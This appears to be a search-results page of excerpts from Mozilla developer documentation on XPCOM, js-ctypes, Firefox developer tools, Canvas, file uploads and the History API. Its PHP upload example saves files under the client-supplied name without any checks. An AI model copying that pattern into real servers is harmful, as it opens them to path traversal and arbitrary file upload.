JavaScript components then check out platform/xpcom module first.Inheriting from implementation classesGiven that IDL interfaces map to abstract classes in C++, a common problem when dealing with IDL is when you have an IDL inheritance hierarchy, and a corresponding C++ implementation hierarchy, you run into multiple inheritance. That's not inhe...
... is when you have an IDL inheritance hierarchy, and a corresponding C++ implementation hierarchy, you run into multiple inheritance. That's not inherently multiple inheritance, though, because you only mix in interfaces (i.e. the problem would not exist with Java's interfaces).Making cross-thread calls using runnablesIn the Mozilla platform, most activities such as layout, DOM operations, content
JavaScript, and chrome
JavaScript run on the main thread. However, it may be useful for C++ code in the Mozilla platform to run tasks on another thread.Mozilla internal string guideMost of the Mozilla code uses a C++ class hierarchy to pass string data, rather than using raw pointers. This guide documents the string classes which are visible to code within the Mozilla codebase (code which is linked into lib...
Components.Constructor
Syntax var func = [ new ] Components.Constructor(contractID [, interfaceName [, initializer ] ]); Parameters contractID A string containing the contract ID of the component interfaceName If given, nsISupports.QueryInterface() will be called on each newly-created instance with the interface named by this string initializer If given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called Description Components.Constructor() is a handy shortcut for creating instances of XPCOM components. ...
...called on the newly-created instance, using the arguments provided to the created function when called Description Components.Constructor() is a handy shortcut for creating instances of XPCOM components. It eliminates the clutter of typing Components.classes, Components.interfaces, createInstance, and so on every time you wish to create an instance. ...
...If only one argument is given, that argument is the contract ID of the XPCOM component to create. ...
...createInstance(Components.interfaces.nsIBinaryInputStream); bis.setInputStream(someInputStream); // assumes BinaryInputStream was initialized previously var bis = new BinaryInputStream(someInputStream); Components.Constructor() is purely syntactic sugar (albeit speedy and pretty syntactic sugar) for actions that can be accomplished using other common methods. ...
XPConnect wrappers
they should be seeing a wrapper. Note: Wrappers can appear in the console log; for example "[object XrayWrapper [object blah]]". Because these are wrapped, you won't be able to peek down inside them from the console. Basic XPConnect objects XPCWrappedNative These objects are created when any natively implemented XPCOM object (that is, any object implemented in C++) needs to be reflected into
JavaScript. This includes all DOM objects (including Window) and chrome elements that are reflected into
JavaScript. This wrapper is responsible for mapping calls from
JavaScript into C++. This means that when you say window.focus(), you're calling into XPCWrappedNative code. If you call 'toString()' and get "[xpconnect wrapped nsIFoo]" then the reference is to a XPCWrappedNative object with interface nsI...
...ng()' and get "[xpconnect wrapped nsIFoo]" then the reference is to a XPCWrappedNative object with interface nsIFoo. They are implicitly created by XPConnect and you should not have to worry about how that happens. There are several types of wrapped natives, but I won't cover those here. XPCWrappedJS These objects are the exact opposite of XPCWrappedNative. ...
...e is to a XPCWrappedNative object with interface nsIFoo. They are implicitly created by XPConnect and you should not have to worry about how that happens. There are several types of wrapped natives, but I won't cover those here. XPCWrappedJS These objects are the exact opposite of XPCWrappedNative. They exist to reflect an object from
JavaScript into C++. This means that whenever you pass your
JavaScript object into a C++ function, we create one of these wrappers. For example, if you've implemented some component with an interface nsIFoo and you pass your
JavaScript object into a C++ function taking an nsIFoo, an XPCWrappedJS is created around your object. C++ calls are routed through XPCWrappedJS code into your
JavaScript implementation. These wrappers are created by XPConnect, so you should no...
...In order to preserve API compatibility, an XPCWrappedNative is created around the XPCWrappedJS. Security wrappers exposed to chrome To learn about security wrappers, see the article on script security in Gecko. Note that a previous version of the current page recommended using __exposedProps__ to expose objects from chrome to content. ...
nsIJetpack
ng aMessageName); void evalScript(in AString aScript); nsIVariant createHandle(); void destroy(); Methods sendMessage() This method asynchronously sends a message to the Jetpack process. void sendMessage( in AString aMessageName, [optional] in jsval v1, Optional [optional] in jsval v2, Optional ... ); Parameters aMessageName The name of the message to send. v1, v2, ... Optional
JavaScript values to send with the message; they must be either JSON-serializable types or handles. registerReceiver() This registers a callback to be triggered whenever the Jetpack process sends a particular message. Note: Multiple callbacks may be registered for the same message; they will all be triggered. void registerReceiver( in AString aMessageName, in jsval aReceiver ); Parameters aMessageNam...
...Receiver() This registers a callback to be triggered whenever the Jetpack process sends a particular message. Note: Multiple callbacks may be registered for the same message; they will all be triggered. void registerReceiver( in AString aMessageName, in jsval aReceiver ); Parameters aMessageName The name of the message from the Jetpack process on which the callback is triggered. aReceiver A
JavaScript function. The first argument passed to it is the name of the message, and all arguments following it are either JSON-serializable types or handles. If the message was sent synchronously from the Jetpack process via callMessage(), then the return value of this function is passed back to the Jetpack process. unregisterReceiver() This unregisters a callback previously registered with registerReceiv...
...tpack process via callMessage(), then the return value of this function is passed back to the Jetpack process. unregisterReceiver() This unregisters a callback previously registered with registerReceiver() void unregisterReceiver( in AString aMessageName, in jsval aReceiver ); Parameters aMessageName The name of the message on which the callback should no longer be triggered. aReceiver The
JavaScript function that should no longer be triggered. unregisterReceivers() This unregisters all callbacks previously registered with registerReceiver() for a particular message. void unregisterReceivers( in AString aMessageName ); Parameters aMessageName The name of the message to unregister all callbacks from. evalScript() This asynchronously sends code to the Jetpack process for evaluation. The c...
...iggered. unregisterReceivers() This unregisters all callbacks previously registered with registerReceiver() for a particular message. void unregisterReceivers( in AString aMessageName ); Parameters aMessageName The name of the message to unregister all callbacks from. evalScript() This asynchronously sends code to the Jetpack process for evaluation. The code will be evaluated using at least
JavaScript 1.8.1. When evaluated, the script's global scope will include all privileged APIs. Individual lines of the form //@line 1 "foo.js" can be used to specify filename and line number information for debugging purposes. void evalScript( in AString aScript ); Parameters aScript The full contents of the script to evaluate in the Jetpack process. createHandle() This creates an opaque handle that can...
nsIPlacesImportExportService
ents/places/nsIPlacesImportExportService.idlScriptable Provides methods for exporting Places data. 1.0 66 Introduced Gecko 1.9 Inherits from: nsISupports Last changed in Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11) In the past, this interface also offered methods for importing Places data, but those methods are now part of the BookmarkHTMLUtils.jsm
JavaScript code module. The interface name has been kept for compatibility reasons for code using the export service. Implemented by: @mozilla.org/import-export-service;1 as a service: var placesImportExportService = Components.classes["@mozilla.org/import-export-service;1"] .getService(Components.interfaces.nsIPlacesImportExportService); Method overview void ba...
...aves the current bookmarks hierarchy to a bookmarks.html file. void exportHTMLToFile( in nsILocalFile aFile ); Parameters aFile An nsILocalFile indicating where to save the new bookmarks.html file. importHTMLFromFile() Obsolete since Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11) Note: This method has been removed; use the BookmarkHTMLUtils.jsm
JavaScript code module instead. Loads the given bookmarks.html file and replaces it with the current bookmarks hierarchy (if aIsInitialImport is true) or appends it (if aIsInitialImport is false). Three nsIObserverService notifications are fired as a result of the import. "bookmarks-restore-begin" is fired just before the import is started. "bookmarks-restore-success" is fired right after the bookmarks ar...
...importHTMLFromFile( in nsILocalFile aFile, in boolean aIsInitialImport ); Parameters aFile The HTML file to import into Places. aIsInitialImport Whether this is an initial import or not. importHTMLFromFileToFolder() Obsolete since Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11) Note: This method has been removed; use the BookmarkHTMLUtils.jsm
JavaScript code module instead.Loads the given bookmarks.html file and puts it in the given folder. Three nsIObserverService notifications are fired as a result of the import. "bookmarks-restore-begin" is fired just before the import is started. "bookmarks-restore-success" is fired right after the bookmarks are successfully imported. "bookmarks-restore-failed" is fired right after a failure occurs when imp...
...the bookmarks. aIsInitialImport Whether or not this is an initial import. importHTMLFromURI() Obsolete since Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11)This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Note: This method has been removed; use the BookmarkHTMLUtils.jsm
JavaScript code module instead. Same thing as importHTMLFromFile(), but takes a URI instead. void importHTMLFromURI( in nsIURI aURI, in boolean aIsInitialImport ); Parameters aURI The URI from which to import bookmarks. aIsInitialImport Whether or not this is an initial import. See also BookmarkHTMLUtils.jsm ...
Add to iPhoto
Note: This extension uses Carbon routines, which can no longer be used in Firefox add-ons now that Firefox is a 64-bit application. You can download an installable version of this extension on AMO. Once installed, when you right-click on an image, you'll see among the options in the contextual menu an option to "Add Image to iPhoto". ...
...rom three system frameworks. Since a lot of this stuff is repetitive, we'll only look at selected parts of the code to get an idea how things work. You can download the extension and poke through the code inside it if you'd like to see all of it. For the sake of organization, I chose to implement each system framework (and, mind you, I only declare the APIs I actually use, not all of them) as a
JavaScript object containing all the types and methods that framework's API. Note: In a few cases, this code takes the easy way out by using ctypes.voidptr_t instead of a typed pointer. That's not really the ideal way to do things but saved some time for this simple example. Some of this may change as I refine the example in the future; I'll update the article if and when that happens. Some global types ...
...sic CFType routines handle memory management, dumping CFType objects to the console, comparing CFType values, and so forth. We'll be using a number of these methods, but for brevity's sake, since these are generally simple declarations, let's look at only the CFRelease() and CFRetain() declarations. ...
... callback routines exported by Core Foundation using the syntax CoreFoundation.kCFTypeArrayCallBacks.address(). If creating the array succeeded, we continue by creating a new CFURL object from the pathname of the image file returned by the downloadImage() method. This is done by calling the Core Foundation routine CFURLCreateFromFileSystemRepresentation(). Conveniently, we can simply pass in the
JavaScript string, filePath, as the string and filePath.length as its length. The array is then built by using CFArrayAppendValue() to add the new CFURL to the array. Doing this causes the array to retain the URL object, so we can use CFRelease() to release it now. Calling Launch Services to launch iPhoto Next, we need to build the parameters for the LSOpenURLsWithRole() function, then call it to start u...
Using js-ctypes
Before you can use js-ctypes, you need to import the ctypes.jsm code module. This is as simple as including the following line of code in the desired
JavaScript scope: Components.utils.import("resource://gre/modules/ctypes.jsm") Loading a native library Once you've imported the code module, you can call the ctypes.open() method to load each native library you wish to use. On Windows, for example, you might load the system user32 library like this: var lib = ctypes.open("user32.dll"); On Mac OS X, you can load the Core Foundation library from the Core Foundation framework like this: var coreFoundation = ctypes.open("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation"); The returned object is a Library object that you use to declare functions and data types for use with the ...
...Note that this only works correctly if the string is in fact under 256 characters; if it's longer, this will fail specta...
... ctypes.uint32_t, /* alert param */ ctypes.int16_t); /* item hit */ var hit = 0; var msgErr = makeStr("Carbon Says..."); var msgExp = makeStr("We just called the StandardAlert Carbon function from
JavaScript!"); var err = stdAlert(1, msgErr, msgExp, 0, hit); carbon.close(); The makeStr() function is a utility routine that takes as input a standard
JavaScript string and returns a Carbon-style "Pascal" string, which is a length byte followed by the characters of the string itself. Note that this only works correctly if the string is in fact under 256 characters; if it's longer, this will fail spectacularly. In line 9, the Carbon library is loaded from the system's Carbon framework. Line 11 declares the stdAlert() function, which will call the Carbon ...
...numChars ); // HELPER FUNCTIONS function makeCFStr(jsStr) { // js str is just a string // returns a CFStr that must be released with CFRelease when done return CFStringCreateWithCharacters(null, jsStr, jsStr.length); } // MAIN var myCFStrs = { head: makeCFStr('Core Foundation Says...'), body: makeCFStr('We just called the equivalent of the "StandardAlert Carbon function" for 64bit OSX from
JavaScript!') }; var rez = CFUserNotificationDisplayNotice(0, kCFUserNotificationCautionAlertLevel, null, null, null, myCFStrs.head, myCFStrs.body, null); console.info('rez:', rez, rez.toString(), uneval(rez)); // CFUserNotificationDisplayNotice does not block till user clicks dialog, it will return immediately if (rez.toString() == '0') { console.log('Notification was succesfully shown!!'); } else { ...
CData
ta objects CData address() String toSource() String toString() Properties Properties of all CData objects Property Type Description constructor CType The data type of the CData object, as a CType. Read only. Note: This is never ctypes.void_t or an array type with an unspecified length. value object The
JavaScript equivalent of the CData object's value. This will throw a TypeError exception if the value can't be converted. Methods available on all CData objects address() Returns a CData object of the pointer type ctypes.PointerType(dataObject.constructor) whose value points to the C object referred to by the object. This provides a way to get a pointer to the actual data of the C value represented...
... to by the object. This provides a way to get a pointer to the actual data of the C value represented by the CData object. CData address() Parameters None. Return value A CData object of the pointer type ctypes.PointerType(dataObject.constructor) whose value points to the C object referred to by the object. toSource() Returns the string "t(arg)", where t and arg are implementation-defined
JavaScript expressions intended to represent the type of the CData object and its value, respectively. String toSource() Parameters None. Return value A string that, ideally, should be able to be evaluated to produce a new CData object containing a copy of the original object. However, this only works if the object's type happens to be bound to an appropriate name in scope. In theory, in other words,...
...tended to represent the type of the CData object and its value, respectively. String toSource() Parameters None. Return value A string that, ideally, should be able to be evaluated to produce a new CData object containing a copy of the original object. However, this only works if the object's type happens to be bound to an appropriate name in scope. In theory, in other words, the following
JavaScript expression should return a copy of the original CData object: eval(dataObject.toSource()); toString() Returns a string identifying the data. String toString(); Parameters None. Return value A string identifying the data. Methods available on string objects These methods must be called on objects that are arrays or pointers to 8-bit or 16-bit character or integer types, terminated by...
...al(dataObject.toSource()); toString() Returns a string identifying the data. String toString(); Parameters None. Return value A string identifying the data. Methods available on string objects These methods must be called on objects that are arrays or pointers to 8-bit or 16-bit character or integer types, terminated by a null character. readString() Converts a character array to a
JavaScript string. 8-bit strings are assumed to be encoded as UTF-8. If the 8-bit string contains invalid encoded character, a TypeError exception is thrown. String readString(); Parameters None. Return value A new String object that is a copy of the original string contents. readStringReplaceMalformed() Converts a character array to a
JavaScript string. 8-bit strings are assumed to be encoded as...
Call Tree - Firefox Developer Tools
Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it. In this article, we'll use the output of a simple program as an example. ...
...Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it. In this article, we'll use the output of a simple program as an example. If you want to get the program to experiment with your profile, you can find it here. ...
...ame program - the same profile, in fact - in the documentation page for the Flame Chart. The screenshot below shows the output of a program that compares three sorting algorithms - bubble sort, selection sort, and quicksort. To do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn. We've zoomed into the part of the recording that shows a long
JavaScript marker: The Call Tree presents the results in a table. Each row represents a function in which at least one sample was taken, and the rows are ordered by the number of samples taken while in that function, highest to lowest. Samples is the number of samples that were taken when we were executing this particular function, including its children (the other functions called by this particular fu...
...rm data cost is coming from repeated calls to console.log(): function sort(unsorted) { console.log(bubbleSort(unsorted)); console.log(selectionSort(unsorted)); console.log(quickSort(unsorted)); } It would certainly be worthwhile considering more efficient ways of implementing this. One thing to be aware of here is that idle time is classified as Gecko, so parts of your profile where your
JavaScript isn't running will contribute Gecko samples. These aren't relevant to the performance of your site. By default, the Call Tree doesn't split platform data out into separate functions, because they add a great deal of noise, and the details are not likely to be useful to people not working on Firefox. If you want to see the details, check "Show Gecko Platform Data" in the Settings. Using an inv...
Performance - Firefox Developer Tools
The Performance tool gives you insight into your site's general responsiveness,
JavaScript and layout performance. With the Performance tool you create a recording, or profile, of your site over a period of time. The tool then shows you an overview of the things the browser was doing to render your site over the profile, and a graph of the frame rate over the profile. ...
...eate a recording, or profile, of your site over a period of time. The tool then shows you an overview of the things the browser was doing to render your site over the profile, and a graph of the frame rate over the profile. You get four sub-tools to examine aspects of the profile in more detail: the Waterfall shows the different operations the browser was performing, such as executing layout,
JavaScript, repaints, and garbage collection the Call Tree shows the
JavaScript functions in which the browser spent most of its time the Flame Chart shows the
JavaScript call stack over the course of the recording the Allocations view shows the heap allocations made by your code over the course of the recording. This view only appears if you checked "Record Allocations" in the Performance tool settings.
...d Allocations" in the Performance tool settings. Getting started UI Tour To find your way around the Performance tool, here's a quick tour of the UI. How to Basic tasks: open the tool, create, save, load, and configure recordings Components of the Performance tool Frame rate Understand your site's overall responsiveness. Call Tree Find bottlenecks in your site's
JavaScript. Allocations See the allocations made by your code over the course of the recording. Waterfall Understand the work the browser's doing as the user interacts with your site. Flame Chart See which
JavaScript functions are executing, and when, over the course of the recording. Scenarios Animating CSS properties Uses the Waterfall to understand how the browser updates a page, ...
...g. Waterfall Understand the work the browser's doing as the user interacts with your site. Flame Chart See which
JavaScript functions are executing, and when, over the course of the recording. Scenarios Animating CSS properties Uses the Waterfall to understand how the browser updates a page, and how animating different CSS properties can affect performance. Intensive
JavaScript Uses the frame rate and Waterfall tools to highlight performance problems caused by long-running
JavaScript, and how using workers can help in this situation. ...
Web Console remoting - Firefox Developer Tools
e errors come from the nsIConsoleService. Each allowed page error is an nsIScriptError object. The pageError packet is: { "from": "conn0.console9", "type": "pageError", "pageError": { "errorMessage": "ReferenceError: foo is not defined", "sourceName": "http://localhost/~mihai/mozilla/test.js", "lineText": "", "lineNumber": 6, "columnNumber": 0, "category": "content
javascript", "timeStamp": 1347294508210, "error": false, "warning": false, "exception": true, "strict": false, "private": false, } } The packet is similar to nsIScriptError - for simplicity. We only removed several unneeded properties and changed how flags work. The private flag tells if the error comes from a private window/tab (added in Firefox 24). Starting with Firefox 24 t...
... actor grips if the string is very long. Console API messages The window.console API calls send internal messages throughout Gecko which allow us to do whatever we want for each call. The Web Console actor sends these messages to the remote debugging client. We use the ObjectActor from dbg-script-actors.js without a ThreadActor, to avoid slowing down the page scripts - the debugger deoptimizes
JavaScript execution in the target page. The lifetime of object actors in the Web Console is different than the lifetime of these objects in the debugger - which is usually per pause or per thread. The Web Console manages the lifetime of ObjectActors manually. Prior to Firefox 23 we used a different actor (WebConsoleObjectActor) for working with
JavaScript objects through the protocol. In bug 783499 we di...
...e arguments. The private flag tells if the console API call comes from a private window/tab (added in Firefox 24). We have small variations for the object, depending on the console API call method - just like there are small differences in the console event object received from the observer service. To see these differences please look in the Console API implementation: dom/base/ConsoleAPI.js. ...
...:///home/mihai/public_html/mozilla/test2.css" } History Protocol changes by Firefox version: Firefox 18: initial version. Firefox 19: bug 787981 - added LongStringActor usage in several places. Firefox 20: bug 792062 - removed locationChanged packet and updated the tabNavigated packet for tab actors. Firefox 23: bug 783499 - removed the WebConsoleObjectActor. Now the Web Console uses the
JavaScript debugger API and the ObjectActor. Firefox 23: added the bindObjectActor and frameActor options to the evaluateJS request packet. Firefox 24: new private flags for the console actor notifications, bug 874061. Also added the lastPrivateContextExited notification for the global console actor. Firefox 24: new isXHR flag for the networkEvent notification, bug 859046. Firefox 24: removed the messag...
Background Tasks API - Web APIs
(also referred to as the Background Tasks API or simply the requestIdleCallback() API) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so. Concepts and usage The main thread of a Web browser is centered around its event loop. This code draws any pending updates to the Document currently being displayed, runs any
JavaScript code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them. In addition, the event loop handles interactions with the operating system, updates to the browser's own user interface, and so forth. It's an extremely busy chunk of code, and your main
JavaScript code may run right inside this thread along with all of this. Certai...
...fer the new requestIdleCallback() and cancelIdleCallback() methods. Example In this example, we'll take a look at how you can use requestIdleCallback() to run time-consuming, low-priority tasks during time the browser would otherwise be idle. In addition, this example demonstrates how to schedule updates to the document content using requestAnimationFrame(). Below you'll find only the HTML and
JavaScript for this example. The CSS is not shown, since it's not particularly crucial to understanding this functionality. HTML content In order to be oriented about what we're trying to accomplish, let's have a look at the HTML. This establishes a box (ID "Container") that's used to present the progress of an operation (because you never know how long decoding "quantum filament tachyon emissions" will t...
...The goal: to be able to add requests to call functions to a queue, with an idle callback that runs those functions whenever the system is idle for long enough a time to make progress. Variable declarations let taskList = []; let totalTaskCount = 0; let currentTaskNumber = 0; let taskHandle ...
...p: 4px; float: right; } .button { padding-top: 2px; padding-bottom: 4px; width: 100px; display: inline-block; float: left; border: 1px solid black; cursor: pointer; text-align: center; margin-top: 0; color: white; background-color: darkgreen; } #progress { width: 100%; padding-top: 6px; }
JavaScript content Now that the document structure is defined, construct the
JavaScript code that will do the work. The goal: to be able to add requests to call functions to a queue, with an idle callback that runs those functions whenever the system is idle for long enough a time to make progress. Variable declarations let taskList = []; let totalTaskCount = 0; let currentTaskNumber = 0; let taskHandle = null; These variables are used to manage the list of tasks that are waitin...
Using dynamic styling information - Web APIs
arding CSS. Initially defined in the DOM Level 2 Style recommendation, these interfaces forms now a specification, CSS Object Model (CSSOM) which aims at superseding it. In many cases, and where possible, it really is best practice to dynamically manipulate classes via the className property since the ultimate appearance of all of the styling hooks can be controlled in a single stylesheet. One's
JavaScript code also becomes cleaner since instead of being dedicated to styling details, it can focus on the overall semantics of each section it is creating or manipulating, leaving the precise style details to the stylesheet. However, there are cases where actually obtaining or manipulating the rules can be useful (whether for whole stylesheets or individual elements), and that is described in further de...
...tyle objects from the document, you can use the document.styleSheets property and access the individual objects by index (e.g., document.styleSheets[0] is the first stylesheet defined for the document, etc.). Modify a stylesheet rule with CSSOM <html> <head> <title>Modifying a stylesheet rule with CSSOM</title> <style type="text/css"> body { background-color: red; } </style> <script type="text/
javascript"> var stylesheet = document.styleSheets[0]; stylesheet.cssRules[0].style.backgroundColor="blue"; </script> </head> <body> The stylesheet declaration for the body's background color is modified via
JavaScript. </body> </html> The list of properties available in the DOM from the style property is given on the DOM CSS Properties List page. To modify styles to a document using CSS syntax, one can...
...hat element's border property in the head section, or external style sheets. However, this will not affect any other property declarations for that element's styles, such as padding or margin or font, for example. To change a particular element's style, you can adapt the following example for the element(s) you want to style. <html> <head> <title>simple style example</title> <script type="text/
javascript"> function alterStyle(elem) { elem.style.background = 'green'; } function resetStyle(elemId) { elem = document.getElementById(elemId); elem.style.background = 'white'; } </script> <style type="text/css"> #p1 { border: solid blue 2px; } </style> </head> <body> <!-- passes a reference to the element's object as parameter 'this'. --> <p id="p1" onclick="alterStyle(this);"> Click here t...
...t or from the elements to which that style is applied. It represents the in-line styles on a particular element. ...
CanvasRenderingContext2D.arcTo() - Web APIs
e way to think about arcTo() is to imagine two straight segments: one from the starting point to a first control point, and another from there to a second control point. Without arcTo(), these two segments would form a sharp corner: arcTo() creates a circular arc that fits this corner and smooths is out. In other words, the arc is tangential to both segments. ...
...oint one ctx.arc(50, 20, 5, 0, 2 * Math.PI); // Control point two ctx.fill(); Result In this example, the path created by arcTo() is thick and black. Tangent lines are gray, control points are red, and the start point is blue. Creating a rounded corner This example creates a rounded corner using arcTo(). This is one of the method's most common uses. HTML <canvas id="canvas"></canvas>
JavaScript The arc begins at the point specified by moveTo(): (230, 20). It is shaped to fit control points at (90, 130) and (20, 20), and has a radius of 50. The lineTo() method connects the arc to (20, 20) with a straight line. Note that the arc's second control point and the point specified by lineTo() are the same, which produces a totally smooth corner. const canvas = document.getElementById('canvas'...
...Point(p2); ctx.stroke(); Result Result of a large radius If you use a relatively large radius, the arc may appear in a place you didn't expect. In this example, the arc's connecting line goes above, instead of below, the coordinate specified by moveTo(). This happens because the radius is too large for the arc to fit entirely below the starting point. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.moveTo(180, 90); ctx.arcTo(180,130, 110,130, 130); ctx.lineTo(110, 130); ctx.stroke(); Result Live demo More sophisticated demo of the method. You can play around with range input to see how arc changes. HTML <div> <label for="radius">Radius: </label> <input name="radius" typ...
...180,130, 110,130, 130); ctx.lineTo(110, 130); ctx.stroke(); Result Live demo More sophisticated demo of the method. You can play around with range input to see how arc changes. ...
Canvas API - Web APIs
Next, the HTMLCanvasElement.getContext() method gets that element's context--the thing onto which the drawing will be rendered. ...
... Among other things, it can be used for animation, game graphics, data visualization, photo manipulation, and real-time video processing. The Canvas API largely focuses on 2D graphics. The WebGL API, which also uses the <canvas> element, draws hardware-accelerated 2D and 3D graphics. Basic example This simple example draws a green rectangle onto a canvas. HTML <canvas id="canvas"></canvas>
JavaScript The Document.getElementById() method gets a reference to the HTML <canvas> element. Next, the HTMLCanvasElement.getContext() method gets that element's context--the thing onto which the drawing will be rendered. The actual drawing is done using the CanvasRenderingContext2D interface. The fillStyle property makes the rectangle green. The fillRect() method places its top-left corner at (10, 10), ...
...ays simple to use. The libraries listed below can make the creation of canvas-based projects faster and easier. EaselJS is an open-source canvas library that makes creating games, generative art, and other highly graphical experiences easy. Fabric.js is an open-source canvas library with SVG parsing capabilities. heatmap.js is an open-source library for creating canvas-based data heat maps.
JavaScript InfoVis Toolkit creates interactive data visualizations. Konva.js is a 2D canvas library for desktop and mobile applications. p5.js has a full set of canvas drawing functionality for artists, designers, educators, and beginners. Paper.js is an open-source vector graphics scripting framework that runs on top of the HTML5 Canvas. Phaser is a fast, free and fun open source framework for Canvas a...
...ctor graphics scripting framework that runs on top of the HTML5 Canvas. Phaser is a fast, free and fun open source framework for Canvas and WebGL powered browser games. Processing.js is a port of the Processing visualization language. Pts.js is a library for creative coding and visualization in canvas and SVG. Rekapi is an animation key-framing API for Canvas. Scrawl-canvas is an open-source
JavaScript library for creating and manipulating 2D canvas elements. The ZIM framework provides conveniences, components, and controls for coding creativity on the canvas -- includes accessibility and hundreds of colorful tutorials. Note: See the WebGL API for 2D and 3D libaries that use WebGL. Specifications Specification Status Comment HTML Living StandardThe definition ...
Binary strings - Web APIs
JavaScript strings are UTF-16 encoded strings. This means that each code unit requires two bytes of memory and is able to represent 65535 different code points. A subset of these strings is represented by UTF-16 strings containing only ASCII characters (i.e., characters whose code point does not exceed 127). For instance, the string "Hello world!" belongs to the ASCII subset, while the string "AEIOU" does not. A binary string is a concept similar to the ASCII subset, but instead of limiting the range to 127, it allows code points until 255. Its purpose however is not to represent characters, but binary data. ...
...hile the string "AEIOU" does not. A binary string is a concept similar to the ASCII subset, but instead of limiting the range to 127, it allows code points until 255. Its purpose however is not to represent characters, but binary data. The size of the data so represented is twice as big as it would be in normal binary format, however this will not be visible to the final user, since the length of
JavaScript strings is calculated using two bytes as the unit. Binary strings are not part of the
JavaScript language design. However at least one native function requires binary strings as its input, btoa(): invoking it on a string that contains codepoints greater than 255 will cause a Character Out Of Range error. The reason that brought to use UTF-16 code units as placeholders for uint8 numbers is that ...
...t contains codepoints greater than 255 will cause a Character Out Of Range error. The reason that brought to use UTF-16 code units as placeholders for uint8 numbers is that as web applications become more and more powerful (adding features such as audio and video manipulation, access to raw data using WebSockets, and so forth) it has become clear that there are times when it would be helpful for
JavaScript code to be able to quickly and easily manipulate raw binary data. In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() method to read the bytes from the data buffer (i.e., using binary strings). However, this is slow and error-prone, due to the need for multiple conversions (especially if the binary data is not actually byte-format data, but, for ...
... manipulate raw binary data. In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() method to read the bytes from the data buffer (i.e., using binary strings). However, this is slow and error-prone, due to the need for multiple conversions (especially if the binary data is not actually byte-format data, but, for example, 32-bit integers or floats).
JavaScript typed arrays provide a mechanism for accessing raw binary data much more efficiently. The StringView Non native constructor is one level above typed arrays and provides a C-like interface for strings. ...
Using files from web applications - Web APIs
const fileSelect = document.getElementById("fileSelect"), fileElem = document.getElementById("fileElem"); fileSelect.addEventListener("click", function (e) { if (fileElem) { fileElem.click(); } }, false); You can style the new button for opening the file picker as you wish. Using a label element to trigger a hidden file input element To allow opening the file picker without using
JavaScript (the click() method), a <label> element can be used. Note that in this case the input element must not be hidden using display: none (nor visibility: hidden), otherwise the label would not be keyboard-accessible. Use the visually-hidden technique instead. Consider this HTML: <input type="file" id="fileElem" multiple accept="image/*" class="visually-hidden"> <label for="fileElem">Select some fil...
...Also in this case you can style the label element as you wish. You need to provide a visual cue for the focus status of the hidden input field on its label, be it an outline as shown above, or background-color or box-shadow. (As of time of writing, Firefox doesn't show this visual cue for <input type="file"> elements.) Selecting files using drag and drop You can a...
... we're using a generic MIME type; you may or may not need to set the MIME type at all depending on your use case. The FileReader object is used to convert the file to a binary string. Finally, when the content is loaded the XMLHttpRequest function send() is called to upload the file's content. Asynchronously handling the file upload process This example, which uses PHP on the server side and
JavaScript on the client side, demonstrates asynchronous uploading of a file. <?php if (isset($_FILES['myFile'])) { // Example: move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']); exit; } ?><!DOCTYPE html> <html> <head> <title>dnd binary upload</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <script type="application...
...on the client side, demonstrates asynchronous uploading of a file. <?php if (isset($_FILES['myFile'])) { // Example: move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']); exit; } ?><!DOCTYPE html> <html> <head> <title>dnd binary upload</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <script type="application/
javascript"> function sendFile(file) { const uri = "/index.php"; const xhr = new XMLHttpRequest(); const fd = new FormData(); xhr.open("POST", uri, true); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { alert(xhr.responseText); // handle response. } ...
Working with the History API - Web APIs
tate event. Adding and modifying history entries Using pushState() changes the referrer that gets used in the HTTP header for XMLHttpRequest objects created after you change the state. The referrer will be the URL of the document whose window is this at the time of creation of the XMLHttpRequest object. Example of pushState() method Suppose http://mozilla.org/foo.html executes the following
JavaScript: let stateObj = { foo: "bar", } history.pushState(stateObj, "page 2", "bar.html") This will cause the URL bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists. Suppose now that the user navigates to http://google.com, then clicks the Back button. At this point, the URL bar will display http://mozilla.org/bar.html and ...
...s one important exception: After using history.pushState(), calling history.back() does not raise a popstate event. Clicking the browser's Back button (still) does. The pushState() method pushState() takes three parameters: a state object; a title (currently ignored); and (optionally), a URL. Let's examine each of these three parameters in more detail. state object The state object is a
JavaScript object which is associated with the new history entry created by pushState(). Whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. The state object can be anything that can be serialized. Because Firefox saves state objects to the user's disk so they can be restored after the user restart...
... through Gecko 5.0 (Firefox 5.0 / Thunderbird 5.0 / SeaMonkey 2.2), the passed object is serialized using JSON. Starting in Gecko 6.0 (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3), the object is serialized using the structured clone algorithm. This allows a wider variety of objects to be safely passed. ...
...f objects to be safely passed. Example of replaceState() method Suppose http://mozilla.org/foo.html executes the following
JavaScript: let stateObj = { foo: "bar" } history.pushState(stateObj, "page 2", "bar.html") The explanation of these two lines above can be found at the above section Example of pushState() method section. Next, suppose http://mozilla.org/bar.html executes the following
